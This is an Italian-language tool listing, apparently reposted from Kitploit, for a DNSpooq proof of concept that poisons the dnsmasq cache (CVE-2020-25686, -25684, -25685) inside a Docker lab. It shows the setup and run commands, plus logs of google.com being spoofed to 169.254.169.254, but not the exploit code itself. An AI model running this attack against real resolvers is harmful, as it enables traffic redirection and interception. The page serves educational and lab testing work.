dnspooq — DNSpooq - avvelenamento della cache di dnsmasq (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685) | Kitploit

dnspooq

DNSpooq PoC - avvelenamento della cache dnsmasq (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

Solo per scopi educativi

Requisiti

Docker compose
Docker

Exploit

dnspooq

Avvia i contenitori

$ docker-compose up -d

Esegui exploit.py

$ docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds

Visualizza l'output del contenitore forwarder

$ docker-compose logs -f forwarder
...
forwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1  | dnsmasq[1]: cached example.com is <CNAME>
forwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254

$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1      | Sniffing...
cache_1      | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1      | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1      | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 18189, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 47303, Query: b'example.com.'

dnspooq

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Visualizza l'output del contenitore cache

Riferimenti

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